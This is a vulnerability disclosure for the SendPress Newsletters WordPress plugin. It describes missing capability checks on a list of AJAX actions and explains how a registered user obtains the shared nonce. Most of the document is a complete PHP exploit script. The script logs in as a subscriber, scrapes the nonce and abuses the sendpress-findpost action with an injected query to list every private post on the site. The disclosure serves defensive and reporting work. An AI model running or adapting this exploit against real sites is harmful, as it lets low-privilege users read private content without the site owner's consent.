SendPress Newsletters [Missing Capabilities Checks]

Description

Plugin SendPress Newsletters lacks of capabilities checks when performing various AJAX actions.

Almost every AJAX action requires a valid nonce to be performed, this nonce is common to all AJAX actions and is easily obtainable for a registered user. This action is named love-me-some-sendpress-ajax-2012 and can be obtained by visiting admin dashboard with a post request that has $_POST['page']=sp.

The AJAX actions that are available are:

  • sendpress_save_list
  • sendpress_subscribe_to_list
  • sendpress-autocron
  • sendpress-sendbatch
  • sendpress-queuebatch
  • sendpress-stopcron
  • sendpress-sendcount
  • sendpress-queuecount
  • sendpress-findpost
  • sendpress-list-subscription
  • sendpress-synclist
  • sendpress-sendcron

PoC

In the following PoC we use the action sendpress-findpost to retrieve all private posts

#!/usr/bin/env php
<?php
/*******************************************************************************
 * SendPress Newsletters [Missing Capabilities Checks] - Retrieving Private Posts Exploit
 *
 * Author: Pan Vag <[email protected]>
 * To install deps run `composer install`
 ******************************************************************************/

require_once 'vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\WPAuthentication;

$url = Config::get( 'url.base', null, true, 'Enter the site URL' );

if ( ! $url ) {
	Cli::writeError( 'You must enter a valid URL' );
	exit( ExitCodes::EXIT_CODE_FAILED_PRECONDITION );
}

$session = new \Requests_Session();

Cli::writeInfo('Authenticating with WordPress');
WPAuthentication::logInAsUserRole( $session, WPAuthentication::USER_ROLE_SUBSCRIBER );

$adminPage = $session->post(Endpoint::adminBaseURL().'/index.php', [], ['page' => 'sp']);
preg_match('/var spvars\s*=\s*.+"sendpressnonce":"([^"]+)"/', $adminPage->body, $matches);

if(!$matches || empty($matches[1])){
	Cli::writeError('Couldn\' get a nonce, maybe target is not exploitable');
	exit(ExitCodes::EXIT_CODE_EXPLOIT_FAILED);
}

$nonce = $matches[1];

// We call the sendpress-findpost to get all private posts
$postData = [
	'spnonce' => $nonce,
	'action' => 'sendpress-findpost',
	'query' => '&post_status=private&posts_per_page=-1', // perfomed query is like `WP_Query('s=' . $_POST['query'])`
];

$r = $session->post(Endpoint::adminAjaxURL(), [], $postData);

if(!$r->success || $r->status_code!=200){
	Cli::writeError('Could\'t exploit the target');
	exit(ExitCodes::EXIT_CODE_EXPLOIT_FAILED);
}

$posts = json_decode($r->body);

if(!isset($posts->suggestions)){
	Cli::writeError('Couldn\'t interpret the response, printing it out');
	print_r($r->body);
	exit(ExitCodes::EXIT_CODE_EXPLOIT_FAILED);
}

if(!$posts->suggestions){
	Cli::writeSuccess('No private posts were found');
	exit(ExitCodes::EXIT_CODE_EXPLOIT_SUCCEEDED);
}

Cli::writeSuccess('Found ' . count($posts->suggestions) . ' posts, printing titles');

foreach ( $posts->suggestions as $suggestion ) {
	Cli::write($suggestion->value);
}

INFO
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX